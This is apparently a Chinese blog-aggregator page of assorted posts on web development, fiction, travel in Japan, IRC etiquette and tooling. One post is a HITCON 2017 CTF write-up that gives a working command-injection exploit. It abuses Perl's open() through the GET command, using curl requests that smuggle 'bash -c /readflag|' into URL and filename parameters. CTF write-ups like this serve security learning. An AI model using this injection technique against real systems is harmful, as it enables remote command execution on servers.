Recent Posts

IceHoney Blog's avatar

前端开发的技术栈

我发现自己博客没次开头都是在说近况和废话。这次也不例外。哈哈哈,工作也算顺畅,顺便总结下最近的前端开发的技术栈来回顾下这半年学到的知识。

HTML开发

对于大型项目,直接书写HTML代码是一个非常繁琐和头疼的事情,因为HTML需要闭合,每次找匹配的HTML标签都要非常花功夫。所以现在的开发都是使用预处理器来书写代码,例如主流的Pug,通过缩进来控制元素的嵌套,还支持多种语法。非常适合大型项目的开发,再也不用担心修改代码的时候出现HTML元素标签没有闭合的情况发生了。而且还规避了一些语法错误,例如在p标签里嵌入block元素是非法的。如果强行嵌入的话,你会发现生成的HTML代码是错误的。

CSS开发

CSS开发更多的需要是良好的模块化功能和合理的作用域。这时候也需要通过预处理器来进行操作,推荐使用SCSS。这里很多人对sassscss之间的区别有疑问。简单的来说,SCSS的格式更接近CSS,所以比较容易上手。但是SASS是通过缩进来书写的,对新手不太友好。所以建议大家使用SCSS来书写模块化代码。

JavaScript开发

现在主流的浏览器支持的JavaScript版本是es5。但是众所周知,JavaScript(es5)有很多陷阱和缺点,例如this指针问题和异步处理等等。基于原型连的继承对于面向对象开发者来说也很不友好。所以推荐使用es6来书写代码。可以使用基于class的继承,和解决this指针问题。而且还能使用import进行模块化开发。虽然只是语法糖,但也提升了开发效率。

自动化构建工具

我们使用了预处理器来书写代码,并使用新版本的es6语法。但是目前浏览器并不支持直接解析这些内容。所以我们需要构建化工具来处理从Pug生成HTML,从SCSS生成CSS,把es6语法的JavaScript转换成es5语法。对于SPA网站推荐使用webpack,而对于普通网站的构建推荐使用Gulp。这里区别开的原因是,webpack必须指定入口文件,但是Gulp只需要指定需要处理的文件或文件夹就可以了,支持通配符匹配。对于多页面的传统网站来说非常便利。

浏览器兼容处理

这是每个前端工程师最头疼的地方了,因为每个浏览器支持程度都不一样。在使用比较新的API记得去Can I use查看下各个浏览器的支持情况,如果实在是需要这个功能的话,那就只能去寻找polyfill了。

参考:

Why p tag can't contain div tag

17windy's avatar

[StaressCrush]压力碾碎机-安卓小游戏-压力大的时候来压一压吧~

最近开发阻力和家庭亲人严重事件比较多,压力颇大… …想吐槽说学的越多,知道的越少…

总要想办法减压,于是翻出来学习时候的一个范例,进行了重新制作,就有了这个安卓小游戏:)

玩法很简单,点击屏幕让水管碾碎掉压力的具象化身们吧!

被碾碎的压力原来是计划变成金粒…不过这段时间内存条真的变金条了…嗯,产出内存条了!嘿嘿。

下载链接:

百度云链接:http://pan.baidu.com/s/1pLMGncZ 密码:schh

该小游戏不用于任何商业目的,欢迎下载试玩,可在不修改游戏安装包的情况下随意转载。

Kouga's avatar

便利贴

“不,这事情并不是这么简单。”丈夫皱着眉头说道,而在做饭的妻子却不以为然:“不就是买的时候看错了么?有什么大不了的。”

“然而我是仔细看过了才买回来的,”丈夫有点恼怒了,“但是为什么会变成这样……”

桌上是一个小小的便签本,其中一张撕下来的便利贴上写着这次购物清单,但是,它现在却在挑战我的记忆和理性。

从头开始整理吧……我们打算去超市来个大采购,以便顺利渡过即将到来的冬季,同时为了让家里显得更有圣诞味一点,我们拟定了一份清单,从日用纸巾到圣诞礼物一应俱全——然而现在这张便利贴却变成了苦恼的根源。

是的,明明应该是那样的,清单没有任何问题,我们也都是照着清单一项项加入购物车并带回来的,可是,为什么会这样——现在桌子上堆着和清单不那么“匹配”的东西,而那些只是在拟定清单的时候想过却没写上去的,带着大大的 Blue 商标的各种日用品,那清一色的蓝色的底色让丈夫陷入了深深的忧郁。

这一定是哪里搞错了什么,清单上明白的写着各类日用品,而自己也尽力避免陷入 Blue 的营销影响,可是一到货架前,明明伸手去拿的货物,一眨眼,购物车里却都是 Blue 品牌的,而更可怕的是直到到家才会发觉这件事情。不对,这一定有哪里有更深层的原因,在超市里被催眠了?不对,催眠的话不会正常开车回家;被铺天盖地的广告迷惑了?可是购买的时候尽力回避那些广告了,连推销人员都不去搭理;总不是被脑后插管了——我笑了笑,这没可能——丈夫放弃了这个想法。

“好了,开饭了,快点把桌子收拾一下不然你就蹲狗窝旁边去吃” 妻子开始催促。我也这么认为,丈夫眨了眨眼,开始将一堆 Blue 的日用品抱去仓库,并很快忘了这件小事,开始帮助妻子摆放餐具了——当然也是 Blue 制造的。

看来我今天的任务也顺利完成了,汇报吧。

liwanglin12's avatar

办到了年轻人的第一张 VISA 卡

办到了年轻人的第一张 VISA 卡🌚

Jixun Moe's avatar

09/11/2017 服务器炸了 (已恢复)

服务器所在的法国机房停电了,正在龟速抢救中... _(:3__

目前的恢复状态可以在 OVH Status 查询。

受到影响的服务:

  • 网易云音乐解析、反代
  • 博客评论服务
  • 季寻储存服务
  • 静态网页资源
  • Hosts 更新服务

以上。


UTC 时间 22:33

服务器已经恢复。nginx 启动时因无法解析域名导致服务启动失败。

OX's avatar

2017·秋

好久沒有發布博文了。

期間寫過不少提綱,有時候突然有一些想法,把草稿寫好之後就沒有動力寫完了;又或者是寫好之後,想來想去,最終還是沒有公開。可能是自己上年紀了,有時候想說的東西,遲疑一下,又不想講出來了,怕麻煩,甚至是最後自己的想法和自己寫的又出現了不少差異,懶得改了,乾脆就不發布了吧。

但是這樣下去當初搭博客的目的就沒有達到,這次逼著自己寫一點東西。

來到京都已經有一段時間了,一開始反而沒有什麼特別的想法,現在時間久了,可能我是無聊吧,又或者是稍微有點適應了大腦終於有點閒暇,各種想法開始在我腦中浮現:

 

为什么日本人那么喜欢用翻盖手机套啊?

我感觉全日本,戴了手机套的,无论是初中男生、女生,还是油腻中年大叔又或者是坐地吸土的阿姨,他们的手机套都是带盖的那种。

我为此多次询问日本友人,有一人的回答是:「因为周围的人都在用这种,顺其自然就用了」。

另外一人的回答则是:「因为可以保护屏幕呀,顺便也可以把交通卡之类的塞在手机套里。」

在日本贴手机膜还是挺贵的,一个玻璃膜,在yodobashi要卖一千多日元,在大陆卖9块9包邮都嫌贵的东西,在日本竟然卖那么贵!

所以大概是为了保护那张很贵的玻璃膜吧。(我乱说的)

仔细观察下,确实发现了很多日本人将交通卡塞在手机套里,算是国情吧,没有为什么,成因不明。

JK的裙子

在关西地方的JK,裙子还是挺长的,一般人都不会特意改短或者往上卷,可能是受一些瞎眼Cosplay的影响,我对三次元的齐逼JK裙早已失去了兴趣,反而看久了这种过膝长裙甚至觉得挺养眼的……

最近开始喜欢上了不良少女的那种长度,正计划着趁双十一入手一条……?

京都的暴走族

很烦,很吵,我住的那个区域,经常可以看到一个将摩托车改成三轮车的人,座位直接改成了一个沙发,还带蓝色LED,很有非主流风格。

每天深夜基本都可以听到暴走族们在路上飙车的声音,和警察似乎也是形成了一种默契,有时候警察会开车追他们,警察开高音喇叭让他们停下,暴走族们故意制造引擎噪音,速度故意放低之后又加快,和警察们绕着几条主干道兜圈圈……警车和暴走族的声音都很吵……

日本民族真是矛盾啊,明明是不喜欢给别人添麻烦的性格,但是各种意义上给别人添麻烦的事情却意外地干得多……可能是社会压力太大了吧,需要找点事情发泄一下……有时候也顺便报复一下社会(趁上班高峰卧轨自杀)。

日本的咖啡厅

京都有不少咖啡厅,私人的最多,去了不少咖啡店,连锁的咖啡店还是Starbucks最好了,相比之下性价比比较高。就是人无时无刻都很多,高峰时,有部分店的店员会帮忙找座位给你,服务态度还是很好的。因为人人多,店内也比较吵,似乎大家讲话都很大声,我一般是打开电脑干我自己的事情,旁边的人讲话就当作是练习听力了。

 

突然不想写了。待续。

Jixun Moe's avatar

UU看书 - 手机阅读优化 - 用户样式

手机屏幕比较宽,内容并不能占满...

于是按照响应式设计(Responsive Design)将其改成了同行多项。

首页

目录页 (手机竖屏)

目录页 (手机横屏)

目录页 (平板宽屏)

章节结尾

特别说明

手机需要依次安装下述应用/插件:

其中,uBlock 默认规则会屏蔽掉广告加载。
样式会隐藏广告内容 (占位框)。

针对火狐安卓版本进行阅读体验优化。
Chrome 未测试,但是好像也能用?

使用 uBlock 屏蔽额外功能

可能会造成功能缺失,只需要基础阅读功能的可以选择屏蔽。

  • 在 uBlock 设定勾选 “Advanced User”,回到网页。
  • 菜单 → uBlock Origin
  • 屏蔽 “1st-party scripts” 以及 “inline scripts”

安装样式

注意:Advanced Style Settings 内可以选择是否屏蔽触摸后出现的菜单栏。

安装:UserStyle

Ricter's avatar

HITCON 2017 SSRFme

题目源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这道题的考点是 GET 这个命令的一个命令执行漏洞,主要是 perl 的 feature,在 open 可以执行命令:

ricter@baka:/tmp$ cat a.pl
open(FD, "id|");
print <FD>;

open(FD, "|id");
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

那么,GET 命令对于各个 protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ls -1
cpan.pm
data.pm
file.pm
ftp.pm
GHTTP.pm
gopher.pm
http.pm
https.pm
loopback.pm
mailto.pm
nntp.pm
nogo.pm

对于 open 函数:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ag open
mailto.pm
88: open(SENDMAIL, "| $SENDMAIL -oi -t") or

ftp.pm
239:          # open range -- only the start is specified
537:#    may be reasonable to keep the control connection open while accessing

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

file 协议才有可以利用的 open,看一下源码:

...
# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

需要文件存在才能触发,验证一下:

ricter@baka:/tmp/a$ touch 'id|'
ricter@baka:/tmp/a$ GET 'file:id|'
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

需要存在一个 id| 文件,但是 PHP 源码中会创建目录及文件,那么最终 exp:

ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl 'http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C'
hitcon{Perl_<3_y0u}
依云's avatar

使用 Python 读取火狐的 cookies

本文来自依云's Blog,转载请注明。

这事本来是有个 browsercookie 库可以做的,但是初看它就有不少问题:

  1. 不能指定要使用的火狐 profile(后来发现可以指定数据库文件)。
  2. 找不到 sessionstore.js 文件时会向标准输出打印一行信息。对于 cron 脚本,这种行为是非常非常讨厌的。

我在尝试解决这些问题时,又发现了额外的问题:它每次都要把所有的 cookie 全部读取。再加上不必要地导入 keyring、Crypto 等库,让我想放弃了。

于是我考虑自己实现一个 cookiejar。但发现它有如下问题:

  • 公开接口和实现细节没有清晰地分离
  • 没有提供存储和读取 cookie 的抽象,而是存在一个字典里

这样扩展起来就十分令人不爽了,也不知道能正常工作多久。

也罢,cookiejar 是个十分复杂的东西,我不如实现一个获取匹配的 cookie 的独立功能,然后通过各种姿势传给 HTTP 客户端库好了。

火狐的 cookie 数据库文件「cookies.sqlite」里就一个「moz_cookies」表,其结构也挺简单的。但是,怎么做 cookie 的匹配呢?既然决定放弃 Python 自带的 cookiejar,那就不看它,直接看火狐的源码好了。

于是去 DXR 上搜索火狐的源码。没费多少力气就找到了相关的部分,然后跟着代码就能知道是怎么匹配的了:

  1. 通过祼域名查得候选 cookie
  2. 根据域名、路径和 secure 等属性来过滤 cookie
  3. 就这样,没有第三步了

祼域名使用 tldextract 库来做,其它属性的匹配算法直接看火狐的代码。虽然是不熟悉的 C++ 代码,但是写得很棒,很容易理解。

把自己需要的部分写成 Python,得一新模块——firefoxcookies。就一个方法,返回一个 cookie 的字典,用起来也很方便。比如在我的 requestsutils.RequestsBase 中,这么干就可以了:

class FireRequests(RequestsBase):
  def initialize(self):
    self._fc = FirefoxCookies(os.path.expanduser(
      '~/.mozilla/firefox/nightly/cookies.sqlite'))

  def request(self, url, method=None, *args, **kwargs):
    if self.baseurl:
      url = urljoin(self.baseurl, url)

    cookies = self._fc.get_cookies(url)

    return super().request(url, method=method, cookies=cookies)

就这样就满足我的需求了。以后再有别的需求,再慢慢扩展。

's avatar

把 WSL 的发行版换成 Debian 时撞的坑

tl;dr:别自以为是

参考教程:Debian on Windows via WSL

  1. 下载 Git for Windows 这种庞然大物不是必须的,你直接从 GitHub 上 Download ZIP 就行
  2. 安装 Python,一定要记得在第一步勾选 Add Python 3.x to PATH
  3. 一定要乖乖地从 PowerShell 运行,而不是 cmd,否则会出现 WinError 126 错误
  4. 刚安装好的 Debian 实在太精简了,所以别忘了先 apt update 然后装个文本编辑器,否则你编辑点什么都相当痛苦
  5. 这个 Debian 连 man 都没有,所以也需要自己装
  6. 为了修复 locale 问题,你需要
echo "en_US.UTF-8 UTF-8" > /etc/locale.gen  
apt install locales

现在你终于可以 apt install 一通乱装了。

Ubuntu 16.04 能用还是好好用吧,不要学我

's avatar

第三届上海市大学生网络安全大赛 流量分析 WriteUp

这次的比赛又跟着 Dalao 去划水了,能力和时间不足本次就只划了三题,一题签到,一题划水的 Web 和一题 Misc 。本文就来讲一下这题 Misc 流量分析。
Jixun Moe's avatar

扔书网 - 样式修正

发现这个网站采集的没有奇怪的干扰码,但是这个网站的布局实在是过于奇葩... 于是就做了个修正用的 CSS 来解决。

首页

书籍页面

章节目录

阅读页面

安装样式

安装:UserStyle

ホロ's avatar

如何在 IRC 上请求支援

来自 https://workaround.org/getting-help-on-irc/

IRC 是一种即时聊天工具,在不同的频道上有不同的话题进行讨论。

现在最大的 IRC 网络 irc.freenode.net 上有很多讨论操作系统,应用程序和开放源代码项目的 IRC 频道。 同时也成了获得帮助和支持的好地方。IRC 历史悠久而且还在持续进化,虽然有点像一群疯子的聚居地(雾)。

这篇文章希望能帮助汝理解 IRC 社群的工作原理并赐予汝充分利用它的力量的能力呗~

#1 – 别问“能不能问”问题

不要以“有人在吗?”,“我能在这里提问嘛?”一类的问题开始。 虽然在真实社交中这会让汝觉得彬彬有礼,但是 IRC 上没这个必要。 直接提出汝的问题就好(虽然很可能需要组织一下问题)。

#2 – 准确第一

“我的打印机坏了”,“我的邮件服务器发不出邮件”这样的问题完全会让人抓狂好不好~ 这样其他人怎么帮忙嘛,所以最好保证汝的话包含这几点:

  • 汝要干啥?(咱想用 POP3 协议接收邮件)
  • 哪里不对劲?(但是咱收不到)
  • 汝在用啥?(咱在 KDE 3.4 上用 kmail 1.8)(原文如此啦)
  • 汝已经试着做些啥了嘛?(咱确定咱的设置没有问题)
  • 有没有日志或者错误消息?(错误消息提示咱 “SSL negotiation failed.”)
  • 它曾经工作过嘛?汝改了哪些?(咱换了邮件提供商,前一家没问题)

包含的信息越多貌似汝的问题更容易被人关注到呗~

#3 – 讲出汝在做些啥

旁人只知道汝告诉他们的一切(就是汝不说别人不知道啦)。 “我改了某些地方然后遇到了别的问题”一类的话最容易让人放弃治疗啦 😂。 取得帮助的前提是合作啦~

#4 – 去读 /topic

汝的 IRC 客户端应该会在汝进入频道时显示频道的主题(topic)呗, 一个频道的主题通常包含大量信息(最常见的是 FAQ 和文档的链接)。 汝不想因为问 topic 或者 FAQ 中已经有答案的问题而被当作笨蛋,是呗~ 所以要是 topic 里有 FAQ 的地址的话,先花些时间去那里找找咯。

#5 – 别依赖谁

别指望谁会一直陪着汝在线直到汝的问题解决。IRC 是个无状态介质,于是谁啥时候都能下线。 那些留着的人只是他/她们乐意这样做而已啦,而且毕竟汝也没因为这个付费,是呗。

#6 – 别胡乱 /msg 其他人

汝可以在频道中公开的交谈,或者用 /msg 一类的命令和谁私聊。 不过随便和人搭讪容易被当作无礼,而且别只和一个人说话, 说不定其他人有兴趣或者有能力给汝一个解决方案呐~

#7 – 无意的无礼

有时汝大概会收到这样的回复:“重新安装”,“重启”,“去读 /usr/share/doc/mysoftware/README 里的文档” 一类的回复。虽然它短小精悍(也许带点火药味),不过别觉得被冒犯啦,也许给汝回答的人已经回答这样的问题 好多遍啦(庆幸他/她/它还没觉得厌烦),这样做最节省双方的时间而已。

#8 – 别重复自己

别一次次的问,要是一直没人说话的话,多半是时间不对(比如在吃饭或者睡觉), 大部分人在回来时看到聊天记录(如果他们的客户端支持的话),就能看到汝的问题了呗~

#9 – 讲英语(大多数情况下)

大多数频道只讲英语(不过也有例外,例如 #debian-fr 就讲法语,#archlinux-cn 讲中文,等等), 所以汝最好也讲英语,不要太担心自己英语水平不足啦(说不定不少人和汝差不多)。 当然,要是在讲非母语的频道里见到老乡(雾),别马上换成汝的母语继续说 (这样大多数频道里的人就看不懂啦)。

#10 – 别偷懒,去读文档

要是有人让汝去读文档的话,别像个大笨驴一样说些既然他知道不如直接告诉我怎么解决 一类的话,不然汝就等着被所有人忽略吧……

不过要是汝在看他提供的文档却一头雾水不知如何下手时说不定可以问问,例如 “咱看了汝给咱的文档的第三章第一节,现在咱明白虚拟域名如何工作了,不过咱怎么把 虚拟域名和非虚拟域名组合到一起使用咧?”

#11 – 留下来给人机会回答

就算汝十万火急,也留些时间等等好啦~ 有些时候汝可能马上就有答案了,然而不一定汝每次 都是幸运儿,多等一会儿说不定会有懂得如何解决汝问题的人出现咯:

10:07 Foo joins

10:07 Foo> How can I install the shripdibble module?

10:09 Foo quit

要是汝像这样问完就跑的话,后面有明白 shripdibble 的人来都不知道。

#12 – 如果可能的话,留下来

用 IRC 就像索取和给予的过程。一开始汝大概是问题比答案多,于是就提问然后因为有人注意到 或者回答了而心怀感激。而帮汝的人甚至都没期望收获一个“谢谢”。

如果汝可以的话,最好留下来帮助其他人。从这个过程中,汝大概可以得到更多知识, 或许也能了解到怎么和人聊天(就算是虚拟的也没有关系)。

#13 – 回答汝所问的问题?

IRC 有些不太好跟踪所有的对话。但是有时想帮忙的人可能会向汝提出一些问题。 别忽略它们(除非汝想被人忽略),而且最好答其所问。汝自己保持对自己的问题关注的话, 说不定能更快的解决。

#14 – 说出汝的解决办法

要是汝后来自己解决了,别简单的说一句自己已经解决了就跑。 告诉大家汝是怎么解决的问题,这样都能从中学到些啥。 汝是不会被当作大笨驴的啦,相信咱~

#15 – 不要盲从

小心甄别汝收到的回复,其间可能夹杂着瞎猜(或者有根据的猜测), 或者有些人为了好玩讲的玩笑话(比如一个格式化硬盘的命令)等等 😂。 如果不确定的话,就去问问别人(不排除汝太大笨驴以至于整个频道在线的人都在调戏汝的可能)😂

#16 – 别向频道发洪水,用剪贴板服务

有时汝会考虑发送一行以上的消息(可能是配置文件或者日志), 不过别直接把文字复制到输入框里。记得使用一个 Pastebin 服务 (一种存放文字然后供其他人以 URL 形式访问的网站),当然也别直接贴个链接就算了 (说点啥啊 😂),例如“咱装了 foo 以后 bar 就挂了,这是 bar 日志的输出 http://…”

参阅

提问的智慧 (虽然咱知道汝可能已经看腻了这个了)

ホロ's avatar

LEDE + iptables6 + Shadowsocks = ?

利用支持 LEDE 的路由器 + shadowsocks + iptables6 组建 nat6 + 透明代理 AP 接着搞大新闻…… 😂

violet's avatar

给 Surface pro 3重新灌上 windows

之前写了一篇博客讲如何在 surface pro 3 上安装 Linux 的。装好之后其实一直没用,一来是因为我又买了个笔记本当主力军,二来是苏菲用来实在是让人非常不满意。

青色旋律's avatar

青色旋律博客调查:第一期结果

您最希望在青色旋律博客上看到哪些内容?青色旋律的 博客调查 目前已经收到了不少结果啦,各位一起来看看吧~

此调查长期有效,欢迎各位继续 参与或者提交反馈

调查截止至 2017 年 4 月底,共收到 10 份调查结果。青色旋律会参考调查结果来决定以后博客准备哪些方面的文章。注意调查结果只反映参与者的兴趣和关注度,不是投票选举之类的。青色旋律会努力回应各位的期待,但未必会优先写票数最多的那一个。毕竟写博客是需要灵感的嘛……

如果您有什么特别想看的内容,也可以继续 参与调查 并进行投票。有什么想法的话也可以在调查的意见反馈和提问处进行提问。

您最希望看到以下哪些类别的文章?(可多选)

首先,作为技术博客,有很多人支持编程和开发,青色旋律感到很欣慰……不过,其他的类别也有很高的人气呢。互联网和软件目前只推出了系列的第一篇, 《简单易懂的网络求生指南:密码和账户篇》 ,还有很大的坑需要填。之后也可能会记录下其他软件或者网站的使用心得吧。也许会有一篇 Hexo 相关的教程,敬请期待吧。

自由软件和开源方面,暂时还没想好要写什么。如果要写的话,可能会从授权协议开始吧。至于开发或者参与社区的心得……很遗憾青色旋律这边并没有太多经验。

Minecraft 与其他游戏方面,可能会有些有趣的东西。青色旋律对于红石还是有一些研究的,所以大概会做实用的红石教程吧。至于复杂的计算或者红石逻辑电路之类的,大概不会涉及。

其他受到关注的还有哲学与三观、日记、新想法和设计这三个分类。这三个分类大概是想到就写,想不到就不写吧。目前灵感比较枯竭,可能没什么好点子呢……大家有什么好的想法吗?

小说和三题点心,经济与商业是最冷门的两个分类。也许严肃文学这年头已经不畅销了吧?(笑)

反而是同属于虚构类的脑洞文学关注度很不错,这个青色旋律其实已经发了两篇了,分别是 无题的世界 只是……中二度有点爆表,感觉好害羞……还有些其他的脑洞不敢写不敢发……

青色旋律非常喜欢音乐呢,希望能写出一点什么东西来。不过文章的形式感觉好难呢。推荐几首曲子倒是没问题啦,不过文字部分应该写什么呢?请大家多出出主意吧。

在“其他”分类中,唯一的一个建议是 女装照/女装日记。首先,提出这个的人大概是误会了什么。其次,无论怎么想,青色旋律都不可能在博客上发照片的吧……这里毕竟是严肃的技术博客来着……大概……?总之,无视掉吧。

您最想要看到以下哪个系列/企划的文章?(可多选)

目前的两个系列,《简单易懂的网络求生指南》和《JavaScript: 从入门到放弃》都受到了大家的热切关注,非常感谢! JS 入门已经连载了 总共三篇 了哦,大家快去看看吧~顺便,就算是太难了看不懂或者之类的评论也好,请大家至少在评论中给点反馈吧?不然可能这个系列就直接进入最后一篇——放弃篇了哦?

网络求生指南系列是需要大量查阅资料整理的,所以估计会更新比较慢。下次预定的主题是加密与存储。如果大家有什么想法,或者想要推荐相关的软件,欢迎在评论区告知~

关于技术问答,其实这个一直是属于开放状态的,只是一直没什么人提问。根据上次某位前辈的提问,青色旋律已经撰写了 《JavaScript 之 Promise 简介》 这篇详尽的介绍作为回答了,不知道大家觉得还满意吗?如果有什么其他的问题,欢迎通过评论区、私聊等途径进行提问。青色旋律随时欢迎任何关于技术的疑问和探讨。

你问我答(Ask me anything?)这样的系列稍微冷门一点点,不过关注的人数仍然不少。这个应该很容易实施吧,只要哪天开放一次提问就好了啦。不过,如果人气不够的话,可能会不太热闹,最后变得很无趣。到时候还请各位帮忙多多宣传。

其他系列中,唯一的建议是 OPSEC. 说实话,青色旋律并不是很清楚这边能有什么 critical information. 青色旋律并没有军事背景,也不会泄露什么军事机密啦。如果只是普通的加密话题的话,已经在计划《简单易懂的网络求生指南:加密与存储》和《简单易懂的网络求生指南:通信安全和隐私》了吧?所以,请支持求生指南系列吧。

其他调查项目

此外,还有对青色旋律博客的意见或者建议,匿名提问区,以及“有什么话想对青色旋律说吗?”三个版块。

目前,还未收到任何实质性的意见或者建议,也没有什么比较好的匿名提问。但青色旋律仍然会一如既往地欢迎任何评论。如果大家懒得打开调查的话,也可以在评论区告知。

“有什么话想对青色旋律说吗?” 这个问题的答案属于绝对隐私,并不会在这里登载。但非常感谢各位的支持。

进一步调查!

以上就是目前收到的结果,以及一些今后的计划。此调查 长期开放,欢迎大家继续提交结果,或者点击页面右上角的进行投票来参与。新提交的调查结果当然也会参考。

由于目前为止只有 10 份数据,很难得出什么结论呢……青色旋律希望有更多人提出意见和建议。无论是参与调查也好,或者简单的在下方评论区评论也好,大家都可以共同参与青色旋律博客的建设。

嘛,今后也请多指教啦~

青色旋律's avatar

的世界

Intro

打开吧。

蜡笔的笔尖在雪白的墙上移行。金色的直线,弧线,直线,然后又是直线。

打开吧——

轮廓之后,数笔又添上细节。很快,歪扭的笔画勾勒出一扇门。

打开吧……

A

眼前只有无尽的荒漠。风卷起沙子,堆砌成一个又一个山丘。

没有路,没有植被,没有足迹。旅人向天际前行,只为寻找一朵花。

残阳浮在沙之海的远方,随时都可能沉落。抬眼望去,目光所至之处皆是余晖染成的金红。红得让人恐慌,金得让人窒息。

不知道来自哪里,不知道要去何方。甚至连寻找本身,都只是无数轮回之后,前世残留的一缕记忆。踏出的脚印很快也被风抹去,一切都存在过,又不曾存在过。

但花一定开在某处。旅人依然前行。感受不到饥饿或者寒冷,只能感受到孤独。

远处,似乎传来了笛声。

B

门重重地合上,似乎还能听到木头吱嘎的声音,宛如一声叹息。

风和沙和日都褪色了,消隐在稀薄的空气中。白色充斥着视野,很快又组成熟悉的墙。

墙上已然没有了旅人。墙上也已然没有了门。我曾经描绘的,已是曾经。

盯着空白的墙沉思了许久,我又拿起蜡笔,描绘出翠色的痕迹……

A’

潺潺的水声响起,铺天盖地的绿意袭来。阶梯在山中延展着,曲折着。

飞鸟扑着翅膀从头顶飞过。森林散发着清香。一切都是那么熟悉,仿佛回到了起点。

木屐拾级而上,将半座山踩在脚下。此时平静的心情,似乎与山重新融为一体。

远处的那抹红色近了,近了。是几根红色的柱子,支撑起红色的横杆。先前飞过的鸟停在上面,时不时发出吱吱喳喳的叫声。

山顶是几座木屋,简陋的材质做出繁复的式样。轻车熟路地绕过屋子,一棵大树映入眼帘。

这是一颗苍老的古木。其粗壮的枝干、坚硬的树皮、盘错的根系,无不显示着它的年龄。树枝和树叶交错着,墨绿遮蔽了一片天空。

在树根坐下,背靠树干,俯瞰着山中的风景。日光从枝叶之间洒落下来,在午后的时光中洒下调味。

起风了。树叶的沙沙声,鸟鸣声,风声,歌声交织成一曲旋律。一种难以言述的空灵感弥漫开来。不知干渴不知疲倦,就这样唱着、唱着……盼望着这旋律永不终结。

B’

刺眼的光让我不禁闭上眼睛。再睁开时,眼前只剩下那灼目的光。屋不见了,山也不见了,树也不见了。

光仍然没有任何减退。我试着向前走了几步,但马上撞到了一个冰冷坚硬的东西。我用手摸了上去,似乎很平,很宽,很光滑也很冰冷……

这是一堵墙。我这样想着,于是光被打散,重组,然后果然变成了一堵墙。

我摸了摸口袋,想找到一支蜡笔。光于是在口袋聚集,然后果然就有了一支蜡笔。

蜡笔是虹色的。不,这么说并不准确。蜡笔只是发出虹色的光。随着我将蜡笔涂在墙上,墙也似乎被点亮,雪白的墙终于有了色彩。

又一扇灰色的门,逐渐被打开。

C

这是一片灰色的天空。灰色的月在灰色的云间穿行,向地面投下灰色的影子。

这次的舞台是钢铁的丛林。灰色的路像棋盘般铺散,格子间耸立着灰色的楼。看不到任何行人,看不到任何灯光。

无论走向何处,所见的景色都是那么千篇一律。似乎楼和路,就是这个世界的全部。

甚至,连空气都没有一丝波动。声音好像也不属于这个世界,简直就像旧时代的黑白默片。

手提着一盏灯,穿梭在这个迷宫。也许这个迷宫没有入口,也没有出口。

城市中,只有自己手中的灯亮着——

B’’

夜尽了。梦醒了。天亮了。

我看了看手中。之前一直握着的灯,不知何时又变回了一支蜡笔。

眼前雪白的墙上,仍然画着夜和城市。但下一刻,城市中迎来了日出,夜色也就被拂晓所吞噬。整个城市一点点被照亮,然后,变得与雪白的墙壁别无二致。

存在过的,都消失了。但创造出的,都铭刻了。

Coda

在梦与现实的狭间,我手握一支虹色的蜡笔,将一扇又一扇门描绘。每一扇门都有不同的颜色、不同的风景、不同的旋律。

这就是我的世界。

这也是没有的世界。

IceHoney Blog's avatar

网站开发中的Modal问题

最近在开发的网站基本上全是使用弹出的对话框(Modal)来进行UI交互的,所以对于Modal的处理也算积攒了一点经验。便想写下来供自己以后参考和学习。说实话,在目前响应式布局的主流开发方式下,Modal非常不适合作为一个良好的交互方式。因为对于手机触屏用户非常不友好。当然,我开发的这个网站也没有考虑手机用户。当前的主流方式还是采用SPA,JS软路由切换页面来交互才是正解。

Modal元素的位置

弹出对话框的方式基本是把对话框的z-index设置的比当前页面元素高,然后使用opacity: 0.5来半透明进行遮罩。但是,需要使用Modal的内容最好放在body的下层,而不是嵌套了好多层的某个div里面,因为子元素的z-index是不可能大于父元素的,会导致在某些情况下,其他元素比当前的Modalz-index更高。

Modal滚动条问题

很多情况下,弹出的Modal内容过多导致会产生滚动条。这时如果不处理好会导致出现双重滚动条。一条是页面本身的内容过多产生的滚动条,还有一条是Modal自身的。双重滚动条还有一个问题是当你在Modal里面进行滚动的时候,页面内容本身也会被滚动,这会导致关闭Modal的时候发现页面的位置已不是打开的位置了,用户体验非常不好。这时候有两种解决方案。

第一个方案是页面本身采用position:fixed进行固定,并用JS记住滚动位置,但必须保持页面本身和Modal是并列关系。例:

    
    

这样,Modal采用position:absolute定位,当内容过长就会自动出现滚动条。但是当关闭Modal的时候,必须把网页内容的position:fixed属性去除,并用JS滚动到当初打开Modal的位置。如果Modal是透明的,那就必须在打开Modal的时候设置网页内容的topleft属性来保持位置不变。

第二个方案是,网页内容采用overflow: hidden来隐藏滚动条。Modal采用position:fixed方案进行定位,但是这时候Modal不得不设置overflow: auto来进行滚动。 第二个方案对于网页内容和Modal的位置并没有特殊的要求,比较灵活,而且不需要JS的介入。

浏览器重绘

